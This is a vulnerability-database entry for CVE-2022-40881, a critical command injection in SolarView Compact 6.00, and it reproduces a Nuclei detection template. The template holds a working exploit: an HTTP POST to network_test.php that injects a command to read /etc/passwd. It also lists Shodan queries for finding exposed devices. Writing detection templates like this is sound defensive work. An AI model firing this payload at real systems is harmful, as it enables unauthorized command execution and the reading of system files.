Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-40881
HistoryNov 17, 2022 - 2:32 p.m.

SolarView 6.00 - Remote Command Execution

2022-11-1714:32:59
ProjectDiscovery
github.com
1
cve2022
solarview
rce
lfi
contec
command injection
patch
upgrade
exploitation
arbitrary commands
vulnerability
contel
cvss
cwe-77
poc
nist

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.961 High

EPSS

Percentile

99.5%

SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
id: CVE-2022-40881

info:
  name: SolarView 6.00 - Remote Command Execution
  author: For3stCo1d
  severity: critical
  description: |
    SolarView Compact 6.00 is vulnerable to a command injection via network_test.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest patch or upgrade to a non-vulnerable version of SolarView.
  reference:
    - https://github.com/Timorlover/SolarView_Compact_6.0_rce_via_network_test.php
    - https://github.com/advisories/GHSA-wx3r-88rg-whxq
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40881
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40881
    cwe-id: CWE-77
    epss-score: 0.95977
    epss-percentile: 0.99469
    cpe: cpe:2.3:h:contec:solarview_compact:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: solarview_compact
    shodan-query:
      - http.favicon.hash:"-244067125"
      - cpe:"cpe:2.3:h:contec:solarview_compact"
  tags: cve,cve2022,solarview,rce,lfi,contec
variables:
  cmd: "cat${IFS}/etc/passwd"

http:
  - raw:
      - |
        POST /network_test.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        host=%0a{{cmd}}%0a&command=ping

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402202676c7e62987d4879069afc20a7985de576ae70937053282e84ee6b3d12602680220469076fb4b5cbcdfd9832dbab7a42e2bf165a38d7243e5e16921ef1be94f2d4f:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.961 High

EPSS

Percentile

99.5%

Related for NUCLEI:CVE-2022-40881